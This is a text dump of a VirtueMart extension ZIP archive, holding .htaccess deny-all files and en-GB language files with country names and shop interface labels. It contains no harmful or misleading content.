AAAAPKB\#o,, index.htmlnuW+APKB\)vmfiles/invoices/.htaccessnuW+A Order allow,deny Deny from all PKB\)vmfiles/.htaccessnuW+A Order allow,deny Deny from all PKB\)language/en-GB/.htaccessnuW+A Order allow,deny Deny from all PKB\T3jj+language/en-GB/en-GB.com_virtuemart_log.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM COM_VIRTUEMART_LOG_FILENAME="File Name" COM_VIRTUEMART_LOG_FILESIZE="File Size" COM_VIRTUEMART_LOG_KB="Kb" COM_VIRTUEMART_LOG_FILEINFO="File Info"PKB\RXDb)b)1language/en-GB/en-GB.com_virtuemart_countries.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; COM_VIRTUEMART_VIRTUEMART_COUNTRY_ID="Id" COM_VIRTUEMART_COUNTRY_ALA="Åland Islands" COM_VIRTUEMART_COUNTRY_AFG="Afghanistan" COM_VIRTUEMART_COUNTRY_ALB="Albania" COM_VIRTUEMART_COUNTRY_DZA="Algeria" COM_VIRTUEMART_COUNTRY_ASM="American Samoa" COM_VIRTUEMART_COUNTRY_AND="Andorra" COM_VIRTUEMART_COUNTRY_AGO="Angola" COM_VIRTUEMART_COUNTRY_AIA="Anguilla" COM_VIRTUEMART_COUNTRY_ATA="Antarctica" COM_VIRTUEMART_COUNTRY_ATG="Antigua and Barbuda" COM_VIRTUEMART_COUNTRY_ARG="Argentina" COM_VIRTUEMART_COUNTRY_ARM="Armenia" COM_VIRTUEMART_COUNTRY_ABW="Aruba" COM_VIRTUEMART_COUNTRY_ASC="Ascension" COM_VIRTUEMART_COUNTRY_AUS="Australia" COM_VIRTUEMART_COUNTRY_AUT="Austria" COM_VIRTUEMART_COUNTRY_AZE="Azerbaijan" COM_VIRTUEMART_COUNTRY_BHS="Bahamas" COM_VIRTUEMART_COUNTRY_BHR="Bahrain" COM_VIRTUEMART_COUNTRY_BGD="Bangladesh" COM_VIRTUEMART_COUNTRY_BRB="Barbados" COM_VIRTUEMART_COUNTRY_BLR="Belarus" COM_VIRTUEMART_COUNTRY_BEL="Belgium" COM_VIRTUEMART_COUNTRY_BLZ="Belize" COM_VIRTUEMART_COUNTRY_BEN="Benin" COM_VIRTUEMART_COUNTRY_BMU="Bermuda" COM_VIRTUEMART_COUNTRY_BTN="Bhutan" COM_VIRTUEMART_COUNTRY_BOL="Bolivia" COM_VIRTUEMART_COUNTRY_BES="Bonaire, Sint Eustatius and Saba" COM_VIRTUEMART_COUNTRY_BIH="Bosnia and Herzegovina" COM_VIRTUEMART_COUNTRY_BWA="Botswana" COM_VIRTUEMART_COUNTRY_BVT="Bouvet Island" COM_VIRTUEMART_COUNTRY_BRA="Brazil" COM_VIRTUEMART_COUNTRY_IOT="British Indian Ocean Territory" COM_VIRTUEMART_COUNTRY_BRN="Brunei Darussalam" COM_VIRTUEMART_COUNTRY_BGR="Bulgaria" COM_VIRTUEMART_COUNTRY_BFA="Burkina Faso" COM_VIRTUEMART_COUNTRY_BDI="Burundi" COM_VIRTUEMART_COUNTRY_KHM="Cambodia" COM_VIRTUEMART_COUNTRY_CMR="Cameroon" COM_VIRTUEMART_COUNTRY_CAN="Canada" COM_VIRTUEMART_COUNTRY_CPV="Cape Verde" COM_VIRTUEMART_COUNTRY_CYM="Cayman Islands" COM_VIRTUEMART_COUNTRY_CAF="Central African Republic" COM_VIRTUEMART_COUNTRY_TCD="Chad" COM_VIRTUEMART_COUNTRY_CHL="Chile" COM_VIRTUEMART_COUNTRY_CHN="China" COM_VIRTUEMART_COUNTRY_CXR="Christmas Island" COM_VIRTUEMART_COUNTRY_CCK="Cocos (Keeling) Islands" COM_VIRTUEMART_COUNTRY_COL="Colombia" COM_VIRTUEMART_COUNTRY_COM="Comoros" COM_VIRTUEMART_COUNTRY_COG="Congo" COM_VIRTUEMART_COUNTRY_COD="Congo, The Democratic Republic of the" COM_VIRTUEMART_COUNTRY_COK="Cook Islands" COM_VIRTUEMART_COUNTRY_CRI="Costa Rica" COM_VIRTUEMART_COUNTRY_CIV="Côte d'Ivoire" COM_VIRTUEMART_COUNTRY_HRV="Croatia" COM_VIRTUEMART_COUNTRY_CUB="Cuba" COM_VIRTUEMART_COUNTRY_CUW="Curaçao" COM_VIRTUEMART_COUNTRY_CYP="Cyprus" COM_VIRTUEMART_COUNTRY_CZE="Czech Republic" COM_VIRTUEMART_COUNTRY_DNK="Denmark" COM_VIRTUEMART_COUNTRY_DGA="Diego Garcia" COM_VIRTUEMART_COUNTRY_DJI="Djibouti" COM_VIRTUEMART_COUNTRY_DMA="Dominica" COM_VIRTUEMART_COUNTRY_DOM="Dominican Republic" COM_VIRTUEMART_COUNTRY_ECU="Ecuador" COM_VIRTUEMART_COUNTRY_EGY="Egypt" COM_VIRTUEMART_COUNTRY_SLV="El Salvador" COM_VIRTUEMART_COUNTRY_GNQ="Equatorial Guinea" COM_VIRTUEMART_COUNTRY_ERI="Eritrea" COM_VIRTUEMART_COUNTRY_EST="Estonia" COM_VIRTUEMART_COUNTRY_ETH="Ethiopia" COM_VIRTUEMART_COUNTRY_FLK="Falkland Islands (Malvinas)" COM_VIRTUEMART_COUNTRY_FRO="Faroe Islands" COM_VIRTUEMART_COUNTRY_FJI="Fiji" COM_VIRTUEMART_COUNTRY_FIN="Finland" COM_VIRTUEMART_COUNTRY_FRA="France" COM_VIRTUEMART_COUNTRY_GUF="French Guiana" COM_VIRTUEMART_COUNTRY_PYF="French Polynesia" COM_VIRTUEMART_COUNTRY_ATF="French Southern Territories" COM_VIRTUEMART_COUNTRY_GAB="Gabon" COM_VIRTUEMART_COUNTRY_GMB="Gambia" COM_VIRTUEMART_COUNTRY_GEO="Georgia" COM_VIRTUEMART_COUNTRY_DEU="Germany" COM_VIRTUEMART_COUNTRY_GHA="Ghana" COM_VIRTUEMART_COUNTRY_GIB="Gibraltar" COM_VIRTUEMART_COUNTRY_GRC="Greece" COM_VIRTUEMART_COUNTRY_GRL="Greenland" COM_VIRTUEMART_COUNTRY_GRD="Grenada" COM_VIRTUEMART_COUNTRY_GLP="Guadeloupe" COM_VIRTUEMART_COUNTRY_GUM="Guam" COM_VIRTUEMART_COUNTRY_GTM="Guatemala" COM_VIRTUEMART_COUNTRY_GGY="Guernsey" COM_VIRTUEMART_COUNTRY_GIN="Guinea" COM_VIRTUEMART_COUNTRY_GNB="Guinea-Bissau" COM_VIRTUEMART_COUNTRY_GUY="Guyana" COM_VIRTUEMART_COUNTRY_HTI="Haiti" COM_VIRTUEMART_COUNTRY_HMD="Heard and McDonald Islands" COM_VIRTUEMART_COUNTRY_HND="Honduras" COM_VIRTUEMART_COUNTRY_HKG="Hong Kong" COM_VIRTUEMART_COUNTRY_HUN="Hungary" COM_VIRTUEMART_COUNTRY_ISL="Iceland" COM_VIRTUEMART_COUNTRY_IND="India" COM_VIRTUEMART_COUNTRY_IDN="Indonesia" COM_VIRTUEMART_COUNTRY_IRN="Iran, Islamic Republic of" COM_VIRTUEMART_COUNTRY_IRQ="Iraq" COM_VIRTUEMART_COUNTRY_IRL="Ireland" COM_VIRTUEMART_COUNTRY_IMN="Isle Of Man" COM_VIRTUEMART_COUNTRY_ISR="Israel" COM_VIRTUEMART_COUNTRY_ITA="Italy" COM_VIRTUEMART_COUNTRY_JAM="Jamaica" COM_VIRTUEMART_COUNTRY_JPN="Japan" COM_VIRTUEMART_COUNTRY_JEY="Jersey" COM_VIRTUEMART_COUNTRY_JOR="Jordan" COM_VIRTUEMART_COUNTRY_KAZ="Kazakhstan" COM_VIRTUEMART_COUNTRY_KEN="Kenya" COM_VIRTUEMART_COUNTRY_KIR="Kiribati" COM_VIRTUEMART_COUNTRY_PRK="Korea, Democratic People's Republic of" COM_VIRTUEMART_COUNTRY_KOR="Korea, Republic of" COM_VIRTUEMART_COUNTRY_KWT="Kuwait" COM_VIRTUEMART_COUNTRY_KGZ="Kyrgyzstan" COM_VIRTUEMART_COUNTRY_LAO="Lao People's Democratic Republic" COM_VIRTUEMART_COUNTRY_LVA="Latvia" COM_VIRTUEMART_COUNTRY_LBN="Lebanon" COM_VIRTUEMART_COUNTRY_LSO="Lesotho" COM_VIRTUEMART_COUNTRY_LBR="Liberia" COM_VIRTUEMART_COUNTRY_LBY="Libya" COM_VIRTUEMART_COUNTRY_LIE="Liechtenstein" COM_VIRTUEMART_COUNTRY_LTU="Lithuania" COM_VIRTUEMART_COUNTRY_LUX="Luxembourg" COM_VIRTUEMART_COUNTRY_MAC="Macau" COM_VIRTUEMART_COUNTRY_MKD="Macedonia, the former Yugoslav Republic of" COM_VIRTUEMART_COUNTRY_MDG="Madagascar" COM_VIRTUEMART_COUNTRY_MWI="Malawi" COM_VIRTUEMART_COUNTRY_MYS="Malaysia" COM_VIRTUEMART_COUNTRY_MDV="Maldives" COM_VIRTUEMART_COUNTRY_MLI="Mali" COM_VIRTUEMART_COUNTRY_MLT="Malta" COM_VIRTUEMART_COUNTRY_MHL="Marshall Islands" COM_VIRTUEMART_COUNTRY_MTQ="Martinique" COM_VIRTUEMART_COUNTRY_MRT="Mauritania" COM_VIRTUEMART_COUNTRY_MUS="Mauritius" COM_VIRTUEMART_COUNTRY_MYT="Mayotte" COM_VIRTUEMART_COUNTRY_MEX="Mexico" COM_VIRTUEMART_COUNTRY_FSM="Micronesia, Federated States of" COM_VIRTUEMART_COUNTRY_MDA="Moldova, Republic of" COM_VIRTUEMART_COUNTRY_MCO="Monaco" COM_VIRTUEMART_COUNTRY_MNG="Mongolia" COM_VIRTUEMART_COUNTRY_MNE="Montenegro" COM_VIRTUEMART_COUNTRY_MSR="Montserrat" COM_VIRTUEMART_COUNTRY_MAR="Morocco" COM_VIRTUEMART_COUNTRY_MOZ="Mozambique" COM_VIRTUEMART_COUNTRY_MMR="Myanmar" COM_VIRTUEMART_COUNTRY_NAM="Namibia" COM_VIRTUEMART_COUNTRY_NRU="Nauru" COM_VIRTUEMART_COUNTRY_NPL="Nepal" COM_VIRTUEMART_COUNTRY_NLD="Netherlands" COM_VIRTUEMART_COUNTRY_NCL="New Caledonia" COM_VIRTUEMART_COUNTRY_NZL="New Zealand" COM_VIRTUEMART_COUNTRY_NIC="Nicaragua" COM_VIRTUEMART_COUNTRY_NER="Niger" COM_VIRTUEMART_COUNTRY_NGA="Nigeria" COM_VIRTUEMART_COUNTRY_NIU="Niue" COM_VIRTUEMART_COUNTRY_NFK="Norfolk Island" COM_VIRTUEMART_COUNTRY_MNP="Northern Mariana Islands" COM_VIRTUEMART_COUNTRY_NOR="Norway" COM_VIRTUEMART_COUNTRY_OMN="Oman" COM_VIRTUEMART_COUNTRY_PAK="Pakistan" COM_VIRTUEMART_COUNTRY_PLW="Palau" COM_VIRTUEMART_COUNTRY_PSE="Palestinian Territory, Occupied" COM_VIRTUEMART_COUNTRY_PAN="Panama" COM_VIRTUEMART_COUNTRY_PNG="Papua New Guinea" COM_VIRTUEMART_COUNTRY_PRY="Paraguay" COM_VIRTUEMART_COUNTRY_PER="Peru" COM_VIRTUEMART_COUNTRY_PHL="Philippines" COM_VIRTUEMART_COUNTRY_PCN="Pitcairn" COM_VIRTUEMART_COUNTRY_POL="Poland" COM_VIRTUEMART_COUNTRY_PRT="Portugal" COM_VIRTUEMART_COUNTRY_PRI="Puerto Rico" COM_VIRTUEMART_COUNTRY_QAT="Qatar" COM_VIRTUEMART_COUNTRY_REU="Réunion" COM_VIRTUEMART_COUNTRY_ROU="Romania" COM_VIRTUEMART_COUNTRY_RUS="Russian Federation" COM_VIRTUEMART_COUNTRY_RWA="Rwanda" COM_VIRTUEMART_COUNTRY_BLM="Saint Barthélemy" COM_VIRTUEMART_COUNTRY_SHN="Saint Helena" COM_VIRTUEMART_COUNTRY_KNA="Saint Kitts and Nevis" COM_VIRTUEMART_COUNTRY_LCA="Saint Lucia" COM_VIRTUEMART_COUNTRY_MAF="Saint Martin (French part)" COM_VIRTUEMART_COUNTRY_SPM="Saint Pierre and Miquelon" COM_VIRTUEMART_COUNTRY_VCT="Saint Vincent and the Grenadines" COM_VIRTUEMART_COUNTRY_WSM="Samoa" COM_VIRTUEMART_COUNTRY_SMR="San Marino" COM_VIRTUEMART_COUNTRY_STP="Sao Tome And Principe" COM_VIRTUEMART_COUNTRY_SAU="Saudi Arabia" COM_VIRTUEMART_COUNTRY_SEN="Senegal" COM_VIRTUEMART_COUNTRY_SRB="Serbia" COM_VIRTUEMART_COUNTRY_SYC="Seychelles" COM_VIRTUEMART_COUNTRY_SLE="Sierra Leone" COM_VIRTUEMART_COUNTRY_SGP="Singapore" COM_VIRTUEMART_COUNTRY_SXM="Sint Maarten (Dutch part)" COM_VIRTUEMART_COUNTRY_SVK="Slovakia" COM_VIRTUEMART_COUNTRY_SVN="Slovenia" COM_VIRTUEMART_COUNTRY_SLB="Solomon Islands" COM_VIRTUEMART_COUNTRY_SOM="Somalia" COM_VIRTUEMART_COUNTRY_ZAF="South Africa" COM_VIRTUEMART_COUNTRY_SGS="South Georgia and the South Sandwich Islands" COM_VIRTUEMART_COUNTRY_SSD="South Sudan" COM_VIRTUEMART_COUNTRY_ESP="Spain" COM_VIRTUEMART_COUNTRY_LKA="Sri Lanka" COM_VIRTUEMART_COUNTRY_SDN="Sudan" COM_VIRTUEMART_COUNTRY_SUR="Suriname" COM_VIRTUEMART_COUNTRY_SJM="Svalbard and Jan Mayen" COM_VIRTUEMART_COUNTRY_SWZ="Swaziland" COM_VIRTUEMART_COUNTRY_SWE="Sweden" COM_VIRTUEMART_COUNTRY_CHE="Switzerland" COM_VIRTUEMART_COUNTRY_SYR="Syrian Arab Republic" COM_VIRTUEMART_COUNTRY_TWN="Taiwan" COM_VIRTUEMART_COUNTRY_TJK="Tajikistan" COM_VIRTUEMART_COUNTRY_TZA="Tanzania, United Republic of" COM_VIRTUEMART_COUNTRY_THA="Thailand" COM_VIRTUEMART_COUNTRY_TLS="Timor-Leste" COM_VIRTUEMART_COUNTRY_TGO="Togo" COM_VIRTUEMART_COUNTRY_TKL="Tokelau" COM_VIRTUEMART_COUNTRY_TON="Tonga" COM_VIRTUEMART_COUNTRY_TTO="Trinidad and Tobago" COM_VIRTUEMART_COUNTRY_TAA="Tristan da Cunha" COM_VIRTUEMART_COUNTRY_TUN="Tunisia" COM_VIRTUEMART_COUNTRY_TUR="Turkey" COM_VIRTUEMART_COUNTRY_TKM="Turkmenistan" COM_VIRTUEMART_COUNTRY_TCA="Turks and Caicos Islands" COM_VIRTUEMART_COUNTRY_TUV="Tuvalu" COM_VIRTUEMART_COUNTRY_UGA="Uganda" COM_VIRTUEMART_COUNTRY_UKR="Ukraine" COM_VIRTUEMART_COUNTRY_ARE="United Arab Emirates" COM_VIRTUEMART_COUNTRY_GBR="United Kingdom" COM_VIRTUEMART_COUNTRY_USA="United States" COM_VIRTUEMART_COUNTRY_UMI="United States Minor Outlying Islands" COM_VIRTUEMART_COUNTRY_URY="Uruguay" COM_VIRTUEMART_COUNTRY_UZB="Uzbekistan" COM_VIRTUEMART_COUNTRY_VUT="Vanuatu" COM_VIRTUEMART_COUNTRY_VAT="Vatican City State (Holy See)" COM_VIRTUEMART_COUNTRY_VEN="Venezuela" COM_VIRTUEMART_COUNTRY_VNM="Viet Nam" COM_VIRTUEMART_COUNTRY_VGB="Virgin Islands, British" COM_VIRTUEMART_COUNTRY_VIR="Virgin Islands, U.S." COM_VIRTUEMART_COUNTRY_WLF="Wallis and Futuna" COM_VIRTUEMART_COUNTRY_ESH="Western Sahara" COM_VIRTUEMART_COUNTRY_YEM="Yemen" COM_VIRTUEMART_COUNTRY_ZMB="Zambia" COM_VIRTUEMART_COUNTRY_ZWE="Zimbabwe"PKB\+ZZ'language/en-GB/en-GB.com_virtuemart.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM COM_VIRTUEMART="VirtueMart" COM_VIRTUEMART_ABOUT="About" COM_VIRTUEMART_ACCESS_FORBIDDEN="Access Forbidden" COM_VIRTUEMART_ADD="New" COM_VIRTUEMART_ADDRESS="Address" COM_VIRTUEMART_ADD_COMMENT="Add Comment" COM_VIRTUEMART_ADD_RATING="Add Rating" COM_VIRTUEMART_ADD_SHIPTO_1="Add a new" COM_VIRTUEMART_ADD_SHIPTO_2="Shipment Address" COM_VIRTUEMART_ADMIN="Control Panel" COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS="Enable database Update tools" COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS_EXPLAIN="Here you can activate tools, which are written for testing and uninstallation. They are used to reset the shop in the installation conditions. Consider that after using a dangerous tool, the configuration is set back to none again." COM_VIRTUEMART_ADMIN_CFG_NO_OVERRIDE="No override" COM_VIRTUEMART_ADMIN_PAYMENT_CONFIGURATION="Configuration" COM_VIRTUEMART_ADMIN_PAYMENT_FORM="Payment Method Information" COM_VIRTUEMART_ADMIN_SECURITY_SETTINGS="Security Settings" COM_VIRTUEMART_ADMIN_SHIPMENT_CONFIGURATION="Configuration" COM_VIRTUEMART_ADMIN_SHIPMENT_FORM="Shipment Method Information" COM_VIRTUEMART_ADMIN_STORE_CREDITCARD_DATA="Store Credit Card Information?" COM_VIRTUEMART_ADMIN_UPDATES="Updates" COM_VIRTUEMART_ADVANCED_SEARCH="Advanced Search" COM_VIRTUEMART_AD_ACY="For a more complex solution to send emails, you may try:
%s" COM_VIRTUEMART_AES_ENCRYPT_STRONG_SECURITY="AES_ENCRYPT (strong security)" COM_VIRTUEMART_AJAX_PRODUCTS_LBL="%s products" COM_VIRTUEMART_AJAX_PRODUCT_LBL="1 product" COM_VIRTUEMART_ALL="All" COM_VIRTUEMART_ALL_EXTENSIONS="See All Extensions" COM_VIRTUEMART_ALL_NEWS="Read all News" COM_VIRTUEMART_APPLY="Apply" COM_VIRTUEMART_ASC="Ascending Order" ;COM_VIRTUEMART_ASKQU_CS_MAX="too long" ;COM_VIRTUEMART_ASKQU_CS_MIN="Minimum not reached" COM_VIRTUEMART_ASKQU_INV_MAIL="Given email address is invalid" COM_VIRTUEMART_ASSIGN_ZONE_PG_LBL="Assign Zones" COM_VIRTUEMART_ATTRIBUTES="Attributes" COM_VIRTUEMART_ATTRIBUTE_LIST_NAME="Attribute Name" COM_VIRTUEMART_AVAILABILITY="Availability" COM_VIRTUEMART_AVAILABILITY_EXPLAIN="Will be displayed when Products Out of stock are orderable" COM_VIRTUEMART_BACK="Back" COM_VIRTUEMART_BACK_TO_DETAILS="Back to Product Details" COM_VIRTUEMART_CALC="Tax & Calculation Rule" COM_VIRTUEMART_CALC_DETAILS="Tax & Calculation Rule Details" COM_VIRTUEMART_CALC_EPOINT_DATAX="Price modifier after tax" COM_VIRTUEMART_CALC_EPOINT_DATAXBILL="Price modifier after tax per bill" COM_VIRTUEMART_CALC_EPOINT_DBTAX="Price modifier before tax" COM_VIRTUEMART_CALC_EPOINT_DBTAXBILL="Price modifier before tax per bill" COM_VIRTUEMART_CALC_EPOINT_PMARGIN="Price modifier for Profit Margin" COM_VIRTUEMART_CALC_EPOINT_TAX="Tax per product" COM_VIRTUEMART_CALC_EPOINT_TAXBILL="Tax per bill" COM_VIRTUEMART_CALC_EPOINT_VATTAX="Vat tax per product" COM_VIRTUEMART_CALC_KIND="Type of Arithmetic Operation" COM_VIRTUEMART_CALC_LOCATION="Countries" COM_VIRTUEMART_CALC_NAME="Calculation Rule name" COM_VIRTUEMART_CALC_S="Taxes & Calculation Rules" COM_VIRTUEMART_CALC_SHOPPER_PUBLISH_TOGGLE_OFF="Not Visible for Shopper" COM_VIRTUEMART_CALC_SHOPPER_PUBLISH_TOGGLE_ON="Visible for Shopper" COM_VIRTUEMART_CALC_VALUE_MATHOP="Math Operation" COM_VIRTUEMART_CALC_VENDOR_PUBLISH_TOGGLE_OFF="Not Visible for Vendor" COM_VIRTUEMART_CALC_VENDOR_PUBLISH_TOGGLE_ON="Visible for Vendor" COM_VIRTUEMART_CALC_VIS_SHOPPER="Visible Shopper" COM_VIRTUEMART_CALC_VIS_VENDOR="Visible Vendor" COM_VIRTUEMART_CANCEL="Cancel" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_CATEGORY_GIVEN="Can't create image for category" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_MANUFACTURER_GIVEN="Can't create image for manufacturer" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_PRODUCT_GIVEN="Can't create image for product" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_VENDOR_GIVEN="Can't create image for vendor" COM_VIRTUEMART_CART_MAIL_SHOPPER_SUMMARY="

Order confirmed

You bought and confirmed an order in %1$s shop online.

You can check the status of your order by going on your personal account

" COM_VIRTUEMART_CART_MAIL_SHOPPER_YOUR_PASSWORD="Your order password:" COM_VIRTUEMART_CART_NO_PAYMENT_SELECTED="No payment selected" COM_VIRTUEMART_CART_NO_SHIPMENT_SELECTED="No shipment selected" COM_VIRTUEMART_CART_PRICE="Price " COM_VIRTUEMART_CART_PRICE_FREE="No additional charge" COM_VIRTUEMART_CART_VIEW_DEFAULT_DESC="Displays the Shopping Cart" COM_VIRTUEMART_CART_VIEW_DEFAULT_TITLE="VirtueMart Shopping Cart" COM_VIRTUEMART_CATEGORIES_RELATED_SEARCH="Search for Related Categories" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_DESC="To set the parent category" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_TITLE="VirtueMart Categories Layout" COM_VIRTUEMART_CATEGORY="Product Category" COM_VIRTUEMART_CATEGORY_DESCRIPTION="Category Description" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_LAYOUT="Page Layout" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_LAYOUT_DESC="Here you can override the VirtueMart page layout by assigning a different layout to a specific menu item" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_TITLE="Select a Category" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_TITLE_DESC="Select a Category" COM_VIRTUEMART_CATEGORY_FORM_BROWSE_LAYOUT="Category Browse Page" COM_VIRTUEMART_CATEGORY_FORM_BROWSE_PAGE="Category Template" COM_VIRTUEMART_CATEGORY_FORM_FLYPAGE="Default Product Details Page" COM_VIRTUEMART_CATEGORY_FORM_IMAGE_DELETE_LBL="Delete Image" COM_VIRTUEMART_CATEGORY_FORM_INITIAL_DISPLAY_RECORDS="Initial number of listed items" COM_VIRTUEMART_CATEGORY_FORM_INITIAL_DISPLAY_RECORDS_TIP="This is the number of items listed when a user enters the category without having selected a number already. This is also an override. Leave empty to use the system defaults" COM_VIRTUEMART_CATEGORY_FORM_LBL="Product Category Form" COM_VIRTUEMART_CATEGORY_FORM_LIMIT_LIST_STEP="Category Pagination Sequence" COM_VIRTUEMART_CATEGORY_FORM_LIMIT_LIST_STEP_TIP="Leave empty, to use the default set in the main config, else set a list of numbers seperated by commas that will be used in the list box on the Front End.
Example: 6,12,18,24
" COM_VIRTUEMART_CATEGORY_FORM_PARENT="Parent Category" COM_VIRTUEMART_CATEGORY_FORM_PRODUCTS_PER_ROW="Number of Products per Row" COM_VIRTUEMART_CATEGORY_FORM_PRODUCTS_PER_ROW_TIP="Leave it empty to use the default value set in the vm configuration" COM_VIRTUEMART_CATEGORY_FORM_SHARED="Category is shared?" COM_VIRTUEMART_CATEGORY_FORM_TEMPLATE="Category Template" COM_VIRTUEMART_CATEGORY_FORM_TOP_LEVEL="Top Level Category" COM_VIRTUEMART_CATEGORY_ID="Category Id" COM_VIRTUEMART_CATEGORY_NAME="Category Name" COM_VIRTUEMART_CATEGORY_ORDERING="Category Ordering" COM_VIRTUEMART_CATEGORY_S="Product Categories" COM_VIRTUEMART_CATEGORY_SHARED_SUCCESS="Set category to shared" COM_VIRTUEMART_CATEGORY_TEMPLATE_DEFAULT="Use shop default" COM_VIRTUEMART_CATEGORY_UNSHARE="Unshared category" COM_VIRTUEMART_CATEGORY_UNSHARED_SUCCESS="Unshared category" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_DESC="Displays a single VirtueMart category" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_TITLE="Category Layout" COM_VIRTUEMART_CHANGE_TRANSACTION_KEY="Show / Change the Transaction Key" COM_VIRTUEMART_CHILD_GENERIC_VARIANT="Generic child variant" COM_VIRTUEMART_CLONE="Clone" COM_VIRTUEMART_CLOSE="Close" COM_VIRTUEMART_CMN_NEW_ITEM_LAST="New items default to the last place. Ordering can be changed after this item is saved." COM_VIRTUEMART_CMN_OPTIONAL="Optional" COM_VIRTUEMART_COL_ROWS_ATTRIBUTES="Columns, Rows attributes" COM_VIRTUEMART_COMMENT="Comment" COM_VIRTUEMART_COMMENT_MIN_MAX="Your message should have between %s to %s characters. Thank you." COM_VIRTUEMART_COMMUNITY_FORUM="Forum" COM_VIRTUEMART_CONFIG="Configuration" COM_VIRTUEMART_CONFIGURATION="Configuration" COM_VIRTUEMART_CONFIGURATION_CHANGE_FAILURE="Unable to write into the configuration file %s!" COM_VIRTUEMART_CONFIGURATION_CHANGE_SUCCESS="The configuration details have been updated!" COM_VIRTUEMART_CONFIGURATION_MOD="Configuration" COM_VIRTUEMART_CONFIG_SAVED="Configuration Saved" COM_VIRTUEMART_CONF_WARN_NO_CURRENCY_DEFINED="No Shop Currency defined! Go to %s" COM_VIRTUEMART_CONF_WARN_NO_FORMAT_DEFINED="Currency is not formatted! Go to %s" COM_VIRTUEMART_CONTROL_PANEL="Control Panel" COM_VIRTUEMART_COOKIE_MISSING="Cookie Missing" COM_VIRTUEMART_COUNTRY="Country" COM_VIRTUEMART_COUNTRY_2_CODE="Country (2) Code" COM_VIRTUEMART_COUNTRY_3_CODE="Country (3) Code" COM_VIRTUEMART_COUNTRY_DETAILS="Country Details" COM_VIRTUEMART_COUNTRY_NAME="Country Name" COM_VIRTUEMART_COUNTRY_REFERENCE_NAME="Country Reference Name" COM_VIRTUEMART_COUNTRY_REFERENCE_NAME_TIP="The Country Reference Name is used when no key exist in the language file for this country. Otherwise the language key will be used. The countries languages keys are in 'com_virtuemart_countries.ini' file. The key must have the prefix 'COM_VIRTUEMART_COUNTRY_' followed by the country 3 code letter" COM_VIRTUEMART_COUNTRY_S="Countries" COM_VIRTUEMART_COUPON="Coupon" COM_VIRTUEMART_COUPON_CODE="Coupon Code" COM_VIRTUEMART_COUPON_DETAILS="Coupon Details" COM_VIRTUEMART_COUPON_DISCOUNT="Coupon Discount" COM_VIRTUEMART_COUPON_EXPIRY="Coupon Expiry Date" COM_VIRTUEMART_COUPON_EXPIRY_TIP="Coupon Expiry Date" COM_VIRTUEMART_COUPON_PERCENT="Percent" COM_VIRTUEMART_COUPON_PERCENT_TOTAL="Percent or Total" COM_VIRTUEMART_COUPON_PERCTOT_TOOLTIP="Percent or Total" COM_VIRTUEMART_COUPON_S="Coupons" COM_VIRTUEMART_COUPON_START="Coupon Start Date" COM_VIRTUEMART_COUPON_START_TIP="Coupon Start Date" COM_VIRTUEMART_COUPON_SUBMIT_BUTTON="Submit" COM_VIRTUEMART_COUPON_TIP="The coupon code the client will need to enter" COM_VIRTUEMART_COUPON_TOTAL="Total" COM_VIRTUEMART_COUPON_TYPE="Coupon Type" COM_VIRTUEMART_COUPON_TYPE_GIFT="Gift Coupon" COM_VIRTUEMART_COUPON_TYPE_PERMANENT="Permanent Coupon" COM_VIRTUEMART_COUPON_TYPE_TIP="A Gift Coupon is deleted after it was used for discounting an order. A permanent coupon can be used as often as the shopper wants to." COM_VIRTUEMART_COUPON_USED="Coupon used" COM_VIRTUEMART_COUPON_VALUE_NOT_NUMBER="Coupon value must be a number." COM_VIRTUEMART_COUPON_VALUE_TIP="Coupon value" COM_VIRTUEMART_COUPON_VALUE_VALID_AT="Minimum Total Order" COM_VIRTUEMART_COUPON_VALUE_VALID_AT_NOT_NUMBER="Invalid Value for Order Value to be valid" COM_VIRTUEMART_CREATED_ON="Creation Date" COM_VIRTUEMART_CREATE_ACCOUNT="Register" COM_VIRTUEMART_CURRENCY="Currency" COM_VIRTUEMART_CURRENCY_CODE_2="Code 2 letters" COM_VIRTUEMART_CURRENCY_CODE_3="Code 3 letters" COM_VIRTUEMART_CURRENCY_DECIMALS="Decimals" COM_VIRTUEMART_CURRENCY_DECIMALSYMBOL="Decimal Symbol" COM_VIRTUEMART_CURRENCY_DECIMALSYMBOL_TIP="Character used as decimal symbol" COM_VIRTUEMART_CURRENCY_DECIMALS_TIP="Number of displayed decimals (can be 0)
Performs rounding if value has different number of decimals" COM_VIRTUEMART_CURRENCY_DETAILS="Currency Details" COM_VIRTUEMART_CURRENCY_DISPLAY="Currency Display Style" COM_VIRTUEMART_CURRENCY_DISPLAY_EXPL="For Positive or Negative Format, use as placeholder, all html tags are allowed, except the character | is not allowed
For example
"{sign} <b>{number}</b> {symbol}"
